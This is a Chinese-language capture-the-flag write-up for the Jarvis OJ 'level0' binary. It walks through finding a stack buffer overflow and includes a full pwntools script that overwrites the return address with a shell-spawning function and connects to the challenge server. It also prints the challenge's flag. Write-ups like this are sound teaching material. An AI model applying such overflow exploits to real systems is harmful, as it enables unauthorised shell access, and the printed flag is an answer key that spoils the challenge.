分析一下,checksec 查看程序的各种保护机制
没有金丝雀,没有pie
执行时输出Hello,World,在进行输入,溢出嘛
开工
丢到ida里看看,先看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,获取shell的函数都写好啦,是callsystem
继而发现在main函数执行时调用的vulnerable_function()存在不安全的read输入,可以看到buf的长度为0x80+0x8
所以可以通过输入buf,用callsystem的地址覆盖vulnerable_function()的返回地址,进而实现获取shell
程序流程(从ABO偷来下图)
灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序
脚本
1 #!/usr/bin/env python 2 # coding:utf-8 3 # writen by Exm 4 5 6 from pwn import * 7 io = process("./level0") 8 io = remote("pwn2.jarvisoj.com" , 9881) 9 elf = ELF("./level0") 10 func_addr = elf.symbols["callsystem"] 11 payload = 'a' * (0x80 + 0x8) + p64(func_addr) 12 13 io.recvline() 14 io.sendline(payload) 15 io.interactive() 16 io.close()
补充一下
symbols是[中括号]!!symbols是[中括号]!!symbols是[中括号]!!
执行一下就getshell啦,拿flag入探囊取物
flag: CTF{713ca3944e92180e0ef03171981dcd41}
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;